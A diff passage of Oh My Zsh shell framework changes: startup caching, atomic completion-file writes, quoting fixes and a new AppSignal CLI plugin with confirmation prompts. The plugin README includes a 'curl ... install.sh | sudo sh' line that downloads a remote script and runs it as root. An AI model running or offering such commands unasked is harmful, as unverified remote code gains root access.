+      # On OpenBSD, `gls` (ls from GNU coreutils) and `colorls` (ls from base,
+      # with color and multibyte support) are available from ports.
+      # `colorls` will be installed on purpose and can't be pulled in by installing
+      # coreutils (which might be installed for ), so prefer it to `gls`.
+      __omz_test_cmd_args gls --color && alias ls='gls --color=tty'
+      __omz_test_cmd_args colorls -G && alias ls='colorls -G'
+      ;;
+    (darwin|freebsd)*)
+      # This alias works by default just using $LSCOLORS
+      __omz_test_cmd_args ls -G && alias ls='ls -G'
+      # Only use GNU ls if installed and there are user defaults for $LS_COLORS,
+      # as the default coloring scheme is not very pretty
+      zstyle -t ':omz:lib:theme-and-appearance' gnu-ls \
+        && __omz_test_cmd_args gls --color \
+        && alias ls='gls --color=tty'
+      ;;
+    *)
+      if __omz_test_cmd_args ls --color; then
+        alias ls='ls --color=tty'
+      elif __omz_test_cmd_args ls -G; then
+        alias ls='ls -G'
+      fi
+      ;;
+  esac
 }

-# Find the option for using colors in ls, depending on the version
-case "$OSTYPE" in
-  netbsd*)
-    # On NetBSD, test if `gls` (GNU ls) is installed (this one supports colors);
-    # otherwise, leave ls as is, because NetBSD's ls doesn't support -G
-    test-ls-args gls --color && alias ls='gls --color=tty'
-    ;;
-  openbsd*)
-    # On OpenBSD, `gls` (ls from GNU coreutils) and `colorls` (ls from base,
-    # with color and multibyte support) are available from ports.
-    # `colorls` will be installed on purpose and can't be pulled in by installing
-    # coreutils (which might be installed for ), so prefer it to `gls`.
-    test-ls-args gls --color && alias ls='gls --color=tty'
-    test-ls-args colorls -G && alias ls='colorls -G'
-    ;;
-  (darwin|freebsd)*)
-    # This alias works by default just using $LSCOLORS
-    test-ls-args ls -G && alias ls='ls -G'
-    # Only use GNU ls if installed and there are user defaults for $LS_COLORS,
-    # as the default coloring scheme is not very pretty
-    zstyle -t ':omz:lib:theme-and-appearance' gnu-ls \
-      && test-ls-args gls --color \
-      && alias ls='gls --color=tty'
-    ;;
-  *)
-    if test-ls-args ls --color; then
-      alias ls='ls --color=tty'
-    elif test-ls-args ls -G; then
-      alias ls='ls -G'
-    fi
-    ;;
-esac
-
-unfunction test-ls-args
+unfunction __omz_test_cmd_args
+unset __omz_probes __omz_probe_cache __omz_probe_cached
@@ -64,7 +64,7 @@ if [[ ! -w "$ZSH_CACHE_DIR" ]]; then
 fi

 # Create cache and completions dir and add to $fpath
-mkdir -p "$ZSH_CACHE_DIR/completions"
+[[ -d "$ZSH_CACHE_DIR/completions" ]] || mkdir -p "$ZSH_CACHE_DIR/completions"
 (( ${fpath[(Ie)$ZSH_CACHE_DIR/completions]} )) || fpath=("$ZSH_CACHE_DIR/completions" $fpath)

 # Check for updates on initial load...
@@ -100,7 +100,28 @@ done
 # Figure out the SHORT hostname
 if [[ "$OSTYPE" = darwin* ]]; then
  # macOS's $HOST changes with dhcp, etc. Use LocalHostName if possible.
-  SHORT_HOST=$(scutil --get LocalHostName 2>/dev/null) || SHORT_HOST="${HOST/.*/}"
+  # scutil costs a fork on every start, so remember its answer for a day
+  # (like lib/grep.zsh) and re-check sooner if $HOST changes.
+  __omz_host_cache="$ZSH_CACHE_DIR/localhostname"
+  __omz_host_cached=("$__omz_host_cache"(Nm-1))
+  __omz_host_key=
+  SHORT_HOST=
+  if [[ -n "$__omz_host_cached" ]]; then
+    if ! { read -r __omz_host_key && read -r SHORT_HOST } < "$__omz_host_cache"; then
+      __omz_host_key=
+      SHORT_HOST=
+    fi
+  fi
+  if [[ "$__omz_host_key" != "$HOST" || -z "$SHORT_HOST" ]]; then
+    # only cache what scutil actually answered, so a transient failure
+    # doesn't pin the fallback name for a day
+    if SHORT_HOST=$(scutil --get LocalHostName 2>/dev/null) && [[ -n "$SHORT_HOST" ]]; then
+      [[ ! -w "$ZSH_CACHE_DIR" ]] || print -rl -- "$HOST" "$SHORT_HOST" >| "$__omz_host_cache"
+    else
+      SHORT_HOST="${HOST/.*/}"
+    fi
+  fi
+  unset __omz_host_cache __omz_host_cached __omz_host_key
 else
  SHORT_HOST="${HOST/.*/}"
 fi
@@ -110,13 +131,101 @@ if [[ -z "$ZSH_COMPDUMP" ]]; then
  ZSH_COMPDUMP="${ZDOTDIR:-$HOME}/.zcompdump-${SHORT_HOST}-${ZSH_VERSION}"
 fi

-# Construct zcompdump OMZ metadata
-zcompdump_revision="#omz revision: $(builtin cd -q "$ZSH"; git rev-parse HEAD 2>/dev/null)"
+# Resolve the commit $ZSH is checked out at into $REPLY by reading the git
+# directory, so that no git process is forked on every startup.
+# Handles .git files (worktrees, submodules), worktree common dirs, detached
+# HEADs and packed refs. Returns 1 if anything is unexpected.
+_omz_git_head() {
+  local gitdir="$ZSH/.git" common head ref
+  local -a lines
+  REPLY=
+
+  # .git may be a file pointing at the real git dir
+  if [[ -f "$gitdir" ]]; then
+    read -r head 2>/dev/null < "$gitdir" || return 1
+    [[ "$head" = "gitdir: "* ]] || return 1
+    gitdir="${head#gitdir: }"
+    [[ -n "$gitdir" ]] || return 1
+    [[ "$gitdir" = /* ]] || gitdir="$ZSH/$gitdir"
+  fi
+
+  # worktrees keep their refs in the common git dir
+  common="$gitdir"
+  if [[ -f "$gitdir/commondir" ]]; then
+    read -r common 2>/dev/null < "$gitdir/commondir" || return 1
+    [[ "$common" = /* ]] || common="$gitdir/$common"
+  fi
+
+  [[ -r "$gitdir/HEAD" ]] || return 1
+  read -r head 2>/dev/null < "$gitdir/HEAD" || return 1
+
+  if [[ "$head" = ref:\ * ]]; then
+    ref="${head#ref: }"
+
+    # Only use well-formed full ref names as paths. Besides matching Git's ref
+    # rules, this prevents a malformed HEAD from escaping the git directory.
+    [[ "$ref" = refs/?* \
+      && "$ref" != *..* \
+      && "$ref" != *//* \
+      && "$ref" != */ \
+      && "$ref" != */.* \
+      && "$ref" != *.lock \
+      && "$ref" != *.lock/* \
+      && "$ref" != *. \
+      && "$ref" != *'@{'* \
+      && "$ref" != *[[:cntrl:]\ \~\^\:\?\*\[\\]* \
+    ]] || return 1
+
+    case "$ref" in
+      # These namespaces are private to each worktree and are never resolved
+      # from the common directory or its packed-refs file.
+      refs/bisect/*|refs/worktree/*|refs/rewritten/*)
+        [[ -r "$gitdir/$ref" ]] || return 1
+        read -r REPLY 2>/dev/null < "$gitdir/$ref" || return 1
+        ;;
+      *)
+        if [[ -r "$common/$ref" ]]; then
+          read -r REPLY 2>/dev/null < "$common/$ref" || return 1
+        elif [[ -r "$common/packed-refs" ]]; then
+          lines=("${(@f)$(<"$common/packed-refs")}")
+          REPLY="${lines[(r)* ${(b)ref}]%% *}"
+        else
+          return 1
+        fi
+        ;;
+    esac
+  else
+    # detached HEAD: the file holds the commit itself
+    REPLY="$head"
+  fi
+
+  # only an object ID is a usable answer: a symbolic ref, a malformed file or
+  # a missed packed entry all fall through to the git fallback instead
+  [[ -n "$REPLY" && -z "${REPLY//[0-9a-f]/}" ]] \
+    && (( ${#REPLY} == 40 || ${#REPLY} == 64 ))
+}
+
+# Construct zcompdump OMZ metadata. The helper reports through $REPLY, so
+# call it in a scope that keeps that out of the global namespace.
+() {
+  local REPLY
+  _omz_git_head || REPLY="$(builtin cd -q "$ZSH"; git rev-parse HEAD 2>/dev/null)"
+  typeset -g zcompdump_revision="#omz revision: $REPLY"
+}
 zcompdump_fpath="#omz fpath: $fpath"
+unset -f _omz_git_head
+
+# Check whether the zcompdump file carries the current OMZ metadata lines
+_omz_compdump_has_metadata() {
+  local -a lines
+  [[ -r "$ZSH_COMPDUMP" ]] || return 1
+  lines=("${(@f)$(<"$ZSH_COMPDUMP")}")
+  (( ${lines[(Ie)$zcompdump_revision]} && ${lines[(Ie)$zcompdump_fpath]} ))
+}

 # Delete the zcompdump file if OMZ zcompdump metadata changed
-if ! command grep -q -Fx "$zcompdump_revision" "$ZSH_COMPDUMP" 2>/dev/null \
-   || ! command grep -q -Fx "$zcompdump_fpath" "$ZSH_COMPDUMP" 2>/dev/null; then
+zcompdump_refresh=0
+if ! _omz_compdump_has_metadata; then
  command rm -f "$ZSH_COMPDUMP"
  zcompdump_refresh=1
 fi
@@ -124,17 +233,18 @@ fi
 if [[ "$ZSH_DISABLE_COMPFIX" != true ]]; then
  source "$ZSH/lib/compfix.zsh"
  # Load only from secure directories
+  # Reset the flag compinit sets when -i excludes insecure entries
+  unset _comp_secure
  compinit -i -d "$ZSH_COMPDUMP"
  # If completion insecurities exist, warn the user
-  handle_completion_insecurities &|
+  [[ "$_comp_secure" == yes ]] && handle_completion_insecurities &|
 else
  # If the user wants it, load from all found directories
  compinit -u -d "$ZSH_COMPDUMP"
 fi

-# Append zcompdump metadata if missing
-if (( $zcompdump_refresh )) \
-  || ! command grep -q -Fx "$zcompdump_revision" "$ZSH_COMPDUMP" 2>/dev/null; then
+# Append zcompdump metadata if missing (compinit may have regenerated the file)
+if (( zcompdump_refresh )) || ! _omz_compdump_has_metadata; then
  # Use `tee` in case the $ZSH_COMPDUMP filename is invalid, to silence the error
  # See https://github.com/ohmyzsh/ohmyzsh/commit/dd1a7269#commitcomment-39003489
  tee -a "$ZSH_COMPDUMP" &>/dev/null <<EOF
@@ -144,9 +254,12 @@ $zcompdump_fpath
 EOF
 fi
 unset zcompdump_revision zcompdump_fpath zcompdump_refresh
+unset -f _omz_compdump_has_metadata

 # zcompile the completion dump file if the .zwc is older or missing.
-if command mkdir "${ZSH_COMPDUMP}.lock" 2>/dev/null; then
+# Test that first so the lock directory and zrecompile are skipped when it's fresh.
+if [[ ! "${ZSH_COMPDUMP}.zwc" -nt "$ZSH_COMPDUMP" ]] \
+   && command mkdir "${ZSH_COMPDUMP}.lock" 2>/dev/null; then
  zrecompile -q -p "$ZSH_COMPDUMP"
  command rm -rf "$ZSH_COMPDUMP.zwc.old" "${ZSH_COMPDUMP}.lock"
 fi
@@ -9,7 +9,11 @@ if [[ ! -f "$ZSH_CACHE_DIR/completions/_op" ]]; then
  _comps[op]=_op
 fi

-op completion zsh >| "$ZSH_CACHE_DIR/completions/_op" &|
+zmodload -F zsh/files b:zf_mv
+() {
+  local TMPPREFIX="$ZSH_CACHE_DIR/completions/_op"
+  zf_mv -f -- =( op completion zsh ) "$TMPPREFIX"
+} &|

 # Load opswd function
 autoload -Uz opswd
@@ -1,5 +1,5 @@
 alias-finder() {
-  local cmd=" " exact="" longer="" cheaper="" wordEnd="'{0,1}$" finder="" filter=""
+  local cmd=" " exact="" longer="" cheaper="" wordEnd="'?$" finder="" filter=""

  # build command and options
  for c in "$@"; do
@@ -31,7 +31,7 @@ alias-finder() {

  # find with alias and grep, removing last word each time until no more words
  while [[ $cmd != "" ]]; do
-    finder="'{0,1}$cmd$wordEnd"
+    finder="'?$cmd$wordEnd"

    # make filter to find only shorter results than current cmd
    if [[ $cheaper == true ]]; then
@@ -6,7 +6,9 @@ import argparse

 def parse(line):
    left = line[0:line.find('=')].strip()
-    right = line[line.find('=')+1:].strip('\'"\n ')
+    right = line[line.find('=')+1:].strip('\n ')
+    if len(right) >= 2 and right[0] == right[-1] and right[0] in '\'"':
+        right = right[1:-1]
    try:
        cmd = next(part for part in right.split() if len([char for char in '=<>' if char in part])==0)
    except StopIteration:
@@ -1,13 +1,13 @@
 # Functions
-function ansible-version(){
+function ansible-version() {
    ansible --version
 }

-function ansible-role-init(){
-    if ! [ -z $1 ] ; then
+function ansible-role-init() {
+    if [[ -n "$1" ]]; then
        echo "Ansible Role : $1 Creating...."
-        ansible-galaxy init $1
-        tree $1
+        ansible-galaxy init "$1"
+        tree "$1"
    else
        echo "Usage : ansible-role-init <role name>"
        echo "Example : ansible-role-init role1"
@@ -0,0 +1,122 @@
+# AppSignal CLI plugin
+
+This plugin adds aliases, guard rails and completion for the
+[AppSignal CLI](https://docs.appsignal.com/cli).
+
+To use it, add `appsignal-cli` to the plugins array in your zshrc file:
+
+```zsh
+plugins=(... appsignal-cli)
+```
+
+## Requirements
+
+[AppSignal CLI](https://docs.appsignal.com/cli) 2.1 or newer, installed and on
+your `PATH`. The plugin does nothing if it is not:
+
+```zsh
+brew install appsignal/appsignal-cli/appsignal-cli
+# or
+curl -sSL https://github.com/appsignal/appsignal-cli/releases/latest/download/install.sh | sudo sh
+```
+
+Most commands need `appsignal-cli auth login` first.
+
+## Aliases
+
+| Alias   | Command                        | Description                        |
+| :------ | :----------------------------- | :--------------------------------- |
+| `asig`  | `appsignal-cli`                | The AppSignal CLI itself           |
+| `aslog` | `appsignal-cli logs tail`      | Stream log lines as they arrive    |
+| `asinc` | `appsignal-cli incidents list` | List incidents for an application  |
+
+`aslog` and `asinc` complete like the commands they stand in for, so
+`aslog --<TAB>` offers the flags of `appsignal-cli logs tail`.
+
+## Functions
+
+| Function        | Description                                                        |
+| :-------------- | :----------------------------------------------------------------- |
+| `appsignal-cli` | Wraps the CLI to confirm before irreversible commands. See Settings |
+
+## Completion
+
+Every command completes with a description of what it does, at every level, and
+so do their flags and allowed values: incident states and severities, sort
+orders, log severities, trigger fields and comparison operators, output formats
+and skill targets. `samples` and `sample` complete like `traces`, as they do in
+the CLI itself.
+
+`--org` completes offline from the `org` key of your project's
+`.appsignal.toml` and of the global config.
+
+The AppSignal CLI ships no completion generator of its own, so `_appsignal-cli`
+is written from its command definitions and kept in this repository. It targets
+AppSignal CLI 2.1.x.
+
+## Settings
+
+Set these with `zstyle` in your zshrc, before Oh My Zsh is sourced.
+
+### Confirming destructive commands
+
+```zsh
+zstyle ':omz:plugins:appsignal-cli' confirm-destructive no
+```
+
+By default the plugin asks for confirmation before four operations that the CLI
+itself performs without a prompt:
+
+- `appsignal-cli logs metrics delete`
+- `appsignal-cli logs triggers delete`
+- `appsignal-cli triggers archive`, which also closes the trigger's alerts and
+  incidents
+- `appsignal-cli incidents update --state CLOSED` when it names more than one
+  incident, since that flag accepts a comma-separated list
+
+Nothing else is intercepted, and the prompt is skipped when stdin is not a
+terminal, so scripts, pipelines and CI are unaffected. Set the style to `no` to
+turn the prompt off entirely, or run `command appsignal-cli` for a single
+invocation.
+
+### Completing applications
+
+```zsh
+zstyle ':omz:plugins:appsignal-cli' dynamic-app-completion yes
+```
+
+Off by default. When enabled, `--app`, `--app-id` and `--environment` are
+completed from `appsignal-cli apps list --output json`, showing each
+application's name and environment next to its ID instead of making you copy
+IDs by hand. It is opt-in because it runs the CLI and makes a network call when
+you press <kbd>Tab</kbd>, and because it needs you to be authenticated. Results
+are cached for five minutes.
+
+### Disabling the aliases
+
+This works for every Oh My Zsh plugin:
+
+```zsh
+zstyle ':omz:plugins:appsignal-cli' aliases no
+```
+
+## Caveats
+
+- `appsignal-cli` and the AppSignal Ruby gem's `appsignal` command are different
+  tools. The gem's command installs and diagnoses the agent inside your app;
+  this one queries your data. The plugin deliberately leaves `appsignal` alone,
+  so it keeps working in projects that use the gem.
+- `appsignal-cli` is a shell function here. Run `command appsignal-cli` to reach
+  the binary directly.
+- Most commands need exactly one of `--app-id` or `--app`. `--environment` only
+  narrows `--app`; it does nothing next to `--app-id`.
+- `appsignal-cli project init` writes `.appsignal.toml`, and `auth login` then
+  stores OAuth tokens in it. Do not commit that file.
+- `incidents delete-note`, `auth logout` and the `--clear-*` flags of
+  `logs metrics update` and `logs triggers update` are destructive too, but are
+  not prompted for: each affects a single note, login or field.
+- `triggers create` and `triggers update` have their own `--format`, for the
+  format of the metric value. Everywhere else `--format` is a synonym for
+  `--output`.
+- The CLI sends usage telemetry by default. `APPSIGNAL_CLI_TELEMETRY=0` turns it
+  off, and `APPSIGNAL_CLI_DEBUG=1` shows internal errors.
@@ -0,0 +1,108 @@
+# AppSignal CLI: completion, aliases and guard rails.
+# https://docs.appsignal.com/cli
+
+if (( ! $+commands[appsignal-cli] )); then
+  return
+fi
+
+# Does this invocation need confirming? Sets REPLY to the reason.
+#
+# The command path is collected from the leading bare words. Only the global
+# flags may precede a subcommand, so the first other flag ends the path: that
+# way an option value such as `--app "My App"` is never mistaken for one.
+function _appsignal_cli_is_destructive() {
+  zstyle -T ':omz:plugins:appsignal-cli' confirm-destructive || return 1
+
+  # Nobody to answer: CI and pipelines are unaffected.
+  [[ -t 0 ]] || return 1
+
+  local -a args=("$@") path numbers
+  local arg state=""
+  integer i=1 n=$# path_done=0
+
+  while (( i <= n )); do
+    arg="$args[i]"
+    case "$arg" in
+      --) break ;;
+      --state=*) state="${arg#--state=}"; path_done=1 ;;
+      --state) state="$args[i+1]"; (( i++ )); path_done=1 ;;
+      --number=*) numbers+=(${(s:,:)${arg#--number=}}); path_done=1 ;;
+      # --number takes one or more values, comma-separated or repeated.
+      --number)
+        path_done=1
+        while (( i < n )) && [[ "$args[i+1]" != -* ]]; do
+          (( i++ ))
+          numbers+=(${(s:,:)args[i]})
+        done
+        ;;
+      # The output flag is global, so it can appear before the subcommand.
+      -o|--output|--format) (( i++ )) ;;
+      -o*|--output=*|--format=*) ;;
+      -*) path_done=1 ;;
+      *) (( path_done )) || path+=("$arg") ;;
+    esac
+    (( i++ ))
+  done
+
+  case "${(j: :)path[1,3]}" in
+    "logs metrics delete")
+      REPLY="deleting a log-derived metric cannot be undone."
+      return 0
+      ;;
+    "logs triggers delete")
+      REPLY="deleting a log-based trigger cannot be undone."
+      return 0
+      ;;
+    "triggers archive")
+      REPLY="archiving a trigger also closes its alerts and incidents."
+      return 0
+      ;;
+    "incidents update")
+      if [[ "${(U)state}" == CLOSED ]] && (( $#numbers > 1 )); then
+        REPLY="this closes $#numbers incidents at once."
+        return 0
+      fi
+      ;;
+  esac
+
+  return 1
+}
+
+# Adds a confirmation prompt before irreversible operations. Everything else
+# passes straight through, so `logs tail` keeps streaming and pipes stay clean.
+function appsignal-cli() {
+  local REPLY
+  if _appsignal_cli_is_destructive "$@"; then
+    print -u2 -- "appsignal-cli: $REPLY"
+    if ! read -q "?Continue? [y/N] "; then
+      print -u2 -- ""
+      return 130
+    fi
+    print -u2 -- ""
+  fi
+
+  command appsignal-cli "$@"
+}
+
+# Complete the aliases like the commands they stand in for.
+if (( $+functions[compdef] )); then
+  _aslog() {
+    words=(appsignal-cli logs tail ${words[2,-1]})
+    (( CURRENT += 2 ))
+    _appsignal-cli
+  }
+
+  _asinc() {
+    words=(appsignal-cli incidents list ${words[2,-1]})
+    (( CURRENT += 2 ))
+    _appsignal-cli
+  }
+
+  compdef _appsignal-cli asig
+  compdef _aslog aslog
+  compdef _asinc asinc
+fi
+
+alias asig='appsignal-cli'
+alias aslog='appsignal-cli logs tail'
+alias asinc='appsignal-cli incidents list'
@@ -21,7 +21,7 @@ plugins=(... archlinux)
 | pacloc       | `pacman -Qi`                           | Display information about a package in the local database        |
 | paclocs      | `pacman -Qs`                           | Search for packages in the local database                        |
 | paclr        | `sudo pacman -Scc`                     | Remove all files from the cache                                  |
-| paclsorphans | `sudo pacman -Qdt`                     | List all orphaned packages                                       |
+| paclsorphans | `pacman -Qdt`                          | List all orphaned packages                                       |
 | pacmir       | `sudo pacman -Syy`                     | Force refresh of all package lists after updating mirrorlist     |
 | pacre        | `sudo pacman -R`                       | Remove packages, keeping its settings and dependencies           |
 | pacrem       | `sudo pacman -Rns`                     | Remove packages, including its settings and dependencies         |
@@ -16,7 +16,7 @@ alias pacloc='pacman -Qi'
 alias paclocs='pacman -Qs'
 alias pacinsd='sudo pacman -S --asdeps'
 alias pacmir='sudo pacman -Syy'
-alias paclsorphans='sudo pacman -Qdt'
+alias paclsorphans='pacman -Qdt'
 alias pacrmorphans='sudo pacman -Rs $(pacman -Qtdq)'
 alias pacfileupg='sudo pacman -Fy'
 alias pacfiles='pacman -F'
@@ -11,4 +11,8 @@ if [[ ! -f "$ZSH_CACHE_DIR/completions/_arduino-cli" ]]; then
 fi

 # Generate and load arduino-cli completion
-arduino-cli completion zsh >! "$ZSH_CACHE_DIR/completions/_arduino-cli" &|
+zmodload -F zsh/files b:zf_mv
+() {
+  local TMPPREFIX="$ZSH_CACHE_DIR/completions/_arduino-cli"
+  zf_mv -f -- =( arduino-cli completion zsh ) "$TMPPREFIX"
+} &|
@@ -11,4 +11,8 @@ if [[ ! -f "$ZSH_CACHE_DIR/completions/_argocd" ]]; then
  _comps[argocd]=_argocd
 fi

-argocd completion zsh >| "$ZSH_CACHE_DIR/completions/_argocd" &|
+zmodload -F zsh/files b:zf_mv
+() {
+  local TMPPREFIX="$ZSH_CACHE_DIR/completions/_argocd"
+  zf_mv -f -- =( argocd completion zsh ) "$TMPPREFIX"
+} &|
@@ -12,4 +12,8 @@ if [[ ! -f "$ZSH_CACHE_DIR/completions/_asdf" ]]; then
  autoload -Uz _asdf
  _comps[asdf]=_asdf
 fi
-asdf completion zsh >| "$ZSH_CACHE_DIR/completions/_asdf" &|
+zmodload -F zsh/files b:zf_mv
+() {
+  local TMPPREFIX="$ZSH_CACHE_DIR/completions/_asdf"
+  zf_mv -f -- =( asdf completion zsh ) "$TMPPREFIX"
+} &|
@@ -9,14 +9,14 @@ function agr() {
 # Update state file if enabled
 function _aws_update_state() {
  if [[ "$AWS_PROFILE_STATE_ENABLED" == true ]]; then
-    test -d $(dirname ${AWS_STATE_FILE}) || exit 1
+    test -d "$(dirname "${AWS_STATE_FILE}")" || return 1
    echo "${AWS_PROFILE} ${AWS_REGION}" > "${AWS_STATE_FILE}"
  fi
 }

 function _aws_clear_state() {
  if [[ "$AWS_PROFILE_STATE_ENABLED" == true ]]; then
-    test -d $(dirname ${AWS_STATE_FILE}) || exit 1
+    test -d "$(dirname "${AWS_STATE_FILE}")" || return 1
    echo -n > "${AWS_STATE_FILE}"
  fi
 }
@@ -69,7 +69,7 @@ function asr() {
  local -a available_regions
  available_regions=($(aws_regions))
  if [[ -z "${available_regions[(r)$1]}" ]]; then
-    echo "${fg[red]}Available regions: \n$(aws_regions)"
+    echo "${fg[red]}Available regions: \n$(aws_regions)${reset_color}" >&2
    return 1
  fi

@@ -241,7 +241,7 @@ function aws_regions() {
 function aws_profiles() {
  aws --no-cli-pager configure list-profiles 2> /dev/null && return
  [[ -r "${AWS_CONFIG_FILE:-$HOME/.aws/config}" ]] || return 1
-  grep --color=never -Eo '\[.*\]' "${AWS_CONFIG_FILE:-$HOME/.aws/config}" | sed -E 's/^[[:space:]]*\[(profile)?[[:space:]]*([^[:space:]]+)\][[:space:]]*$/\2/g'
+  command grep -Eo '^[[:space:]]*\[[[:space:]]*(profile[[:space:]]+)?[^][:space:]]+[[:space:]]*\]' "${AWS_CONFIG_FILE:-$HOME/.aws/config}" | command sed -E 's/^[[:space:]]*\[[[:space:]]*(profile[[:space:]]+)?([^][:space:]]+)[[:space:]]*\]$/\2/'
 }

 function _aws_regions() {
@@ -1,5 +1,5 @@
 # Bedtools plugin

-This plugin adds support for the [bedtools suite](http://bedtools.readthedocs.org/en/latest/):
+This plugin adds support for the [bedtools suite](https://bedtools.readthedocs.io/en/latest/):

 * Adds autocomplete options for all bedtools sub commands.
@@ -67,6 +67,9 @@ function bgnotify_appid {
  elif [[ -n $WAYLAND_DISPLAY ]] && ([[ -n $SWAYSOCK ]] || [[ -n $I3SOCK ]]) && (( ${+commands[swaymsg]} )); then # wayland+sway
    local app_id=$(bgnotify_find_sway_appid)
    [[ -n "$app_id" ]] && echo "$app_id" || echo $EPOCHSECONDS
+  elif [[ -n $NIRI_SOCKET ]]; then # niri
+    local app_id=$(bgnotify_find_niri_appid)
+    [[ -n "$app_id" ]] && echo "$app_id" || echo $EPOCHSECONDS
  elif [[ -z $WAYLAND_DISPLAY ]] && [[ -n $DISPLAY ]] && (( ${+commands[xprop]} )); then
    xprop -root _NET_ACTIVE_WINDOW 2>/dev/null | cut -d' ' -f5
  else
@@ -106,6 +109,12 @@ function bgnotify_find_sway_appid {
  fi
 }

+function bgnotify_find_niri_appid {
+  if (( ${+commands[jq]} )); then
+    niri msg -j windows | jq '.[] | select(.is_focused) | {app_id, id} | join(",")'
+  fi
+}
+
 function bgnotify_programid {
  case "$TERM_PROGRAM" in
    iTerm.app) echo 'com.googlecode.iterm2' ;;
@@ -17,6 +17,12 @@ If `brew` is not found in the PATH, this plugin will attempt to find it in commo
 In case you installed `brew` in a non-common location, you can still set `BREW_LOCATION` variable pointing to
 the `brew` binary before sourcing `oh-my-zsh.sh` and it'll set up the environment.

+### sbin directory
+
+This plugin also adds `$HOMEBREW_PREFIX/sbin` to the PATH if the directory exists and isn't already present.
+Some Homebrew formulae (e.g. `mtr`) install executables to `sbin`, which `brew doctor` checks for. This
+ensures the `bdr` alias runs without warnings.
+
 ## Aliases

 | Alias    | Command                                 | Description                                                           |
@@ -40,7 +46,7 @@ the `brew` binary before sourcing `oh-my-zsh.sh` and it'll set up the environmen
 | `bo`     | `brew outdated`                         | List installed formulae that have an updated version available.       |
 | `br`     | `brew reinstall`                        | Reinstall a formula.                                                  |
 | `brewp`  | `brew pin`                              | Pin a specified formula so that it's not upgraded.                    |
-| `brews`  | `brew list -1`                          | List installed formulae or the installed files for a given formula.   |
+| `brews`  | _function_                              | List installed leaf formulae with their dependencies, then casks.     |
 | `brewsp` | `brew list --pinned`                    | List pinned formulae, or show the version of a given formula.         |
 | `brh`    | `brew reinstall --HEAD`                 | Reinstall a formula with --HEAD                                       |
 | `bs`     | `brew search`                           | Perform a substring search of cask tokens and formula names for text. |
@@ -30,6 +30,16 @@ if [[ -z "$HOMEBREW_PREFIX" ]]; then
  export HOMEBREW_PREFIX="$(brew --prefix)"
 fi

+# Add Homebrew sbin to PATH if it exists and is not already in PATH.
+# Homebrew's shellenv only adds bin directories, not sbin. Some formulae
+# (e.g. mtr) install executables to sbin, and brew doctor warns if it's
+# missing from PATH.
+if [[ -d "$HOMEBREW_PREFIX/sbin" ]]; then
+  if [[ ! "$PATH" == *"$HOMEBREW_PREFIX/sbin"* ]]; then
+    export PATH="$HOMEBREW_PREFIX/sbin:$PATH"
+  fi
+fi
+
 if [[ -d "$HOMEBREW_PREFIX/share/zsh/site-functions" ]]; then
  fpath+=("$HOMEBREW_PREFIX/share/zsh/site-functions")
 fi
@@ -11,4 +11,8 @@ if [[ ! -f "$ZSH_CACHE_DIR/completions/_buf" ]]; then
 fi

 # Generate and load buf completion
-buf completion zsh >! "$ZSH_CACHE_DIR/completions/_buf" &|
+zmodload -F zsh/files b:zf_mv
+() {
+  local TMPPREFIX="$ZSH_CACHE_DIR/completions/_buf"
+  zf_mv -f -- =( buf completion zsh ) "$TMPPREFIX"
+} &|
@@ -11,4 +11,8 @@ if [[ ! -f "$ZSH_CACHE_DIR/completions/_bun" ]]; then
  _comps[bun]=_bun
 fi

-SHELL=zsh bun completions >| "$ZSH_CACHE_DIR/completions/_bun" &|
+zmodload -F zsh/files b:zf_mv
+() {
+  local TMPPREFIX="$ZSH_CACHE_DIR/completions/_bun"
+  zf_mv -f -- =( SHELL=zsh bun completions ) "$TMPPREFIX"
+} &|
@@ -11,18 +11,19 @@ plugins=(... bundler)

 ## Aliases

-| Alias  | Command                              | Description                                                                              |
-|--------|--------------------------------------|------------------------------------------------------------------------------------------|
-| `ba`   | `bundle add`                         | Add gem to the Gemfile and run bundle install                                            |
-| `bck`  | `bundle check`                       | Verifies if dependencies are satisfied by installed gems                                 |
-| `bcn`  | `bundle clean`                       | Cleans up unused gems in your bundler directory                                          |
-| `be`   | `bundle exec`                        | Execute a command in the context of the bundle                                           |
-| `bi`   | `bundle install --jobs=<core_count>` | Install the dependencies specified in your Gemfile (using all cores in bundler >= 1.4.0) |
-| `bl`   | `bundle list`                        | List all the gems in the bundle                                                          |
-| `bo`   | `bundle open`                        | Opens the source directory for a gem in your bundle                                      |
-| `bout` | `bundle outdated`                    | List installed gems with newer versions available                                        |
-| `bp`   | `bundle package`                     | Package your needed .gem files into your application                                     |
-| `bu`   | `bundle update`                      | Update your gems to the latest available versions                                        |
+| Alias  | Command           | Description                                              |
+| ------ | ----------------- | -------------------------------------------------------- |
+| `ba`   | `bundle add`      | Add gem to the Gemfile and run bundle install            |
+| `bck`  | `bundle check`    | Verifies if dependencies are satisfied by installed gems |
+| `bcn`  | `bundle clean`    | Cleans up unused gems in your bundler directory          |
+| `be`   | `bundle exec`     | Execute a command in the context of the bundle           |
+| `bi`   | `bundle install`  | Install the dependencies specified in your Gemfile       |
+| `bl`   | `bundle list`     | List all the gems in the bundle                          |
+| `bo`   | `bundle open`     | Opens the source directory for a gem in your bundle      |
+| `bout` | `bundle outdated` | List installed gems with newer versions available        |
+| `bp`   | `bundle package`  | Package your needed .gem files into your application     |
+| `bu`   | `bundle update`   | Update your gems to the latest available versions          |
+| `bua`  | `bundle update --all` | Update all gems to the latest available versions      |

 ## Gem wrapper

@@ -4,44 +4,13 @@ alias ba="bundle add"
 alias bck="bundle check"
 alias bcn="bundle clean"
 alias be="bundle exec"
-alias bi="bundle_install"
+alias bi="bundle install"
 alias bl="bundle list"
 alias bo="bundle open"
 alias bout="bundle outdated"
 alias bp="bundle package"
 alias bu="bundle update"
-
-## Functions
-
-bundle_install() {
-  # Bail out if bundler is not installed
-  if (( ! $+commands[bundle] )); then
-    echo "Bundler is not installed"
-    return 1
-  fi
-
-  # Bail out if not in a bundled project
-  if ! _within-bundled-project; then
-    echo "Can't 'bundle install' outside a bundled project"
-    return 1
-  fi
-
-  # Check the bundler version is at least 1.4.0
-  autoload -Uz is-at-least
-  local bundler_version=$(bundle version | cut -d' ' -f3)
-  if ! is-at-least 1.4.0 "$bundler_version"; then
-    bundle install "$@"
-    return $?
-  fi
-
-  # If bundler is at least 1.4.0, use all the CPU cores to bundle install
-  if [[ "$OSTYPE" = (darwin|freebsd)* ]]; then
-    local cores_num="$(sysctl -n hw.ncpu)"
-  else
-    local cores_num="$(nproc)"
-  fi
-  BUNDLE_JOBS="$cores_num" bundle install "$@"
-}
+alias bua="bundle update --all"

 ## Gem wrapper

@@ -0,0 +1,32 @@
+# AWS CDK Plugin
+
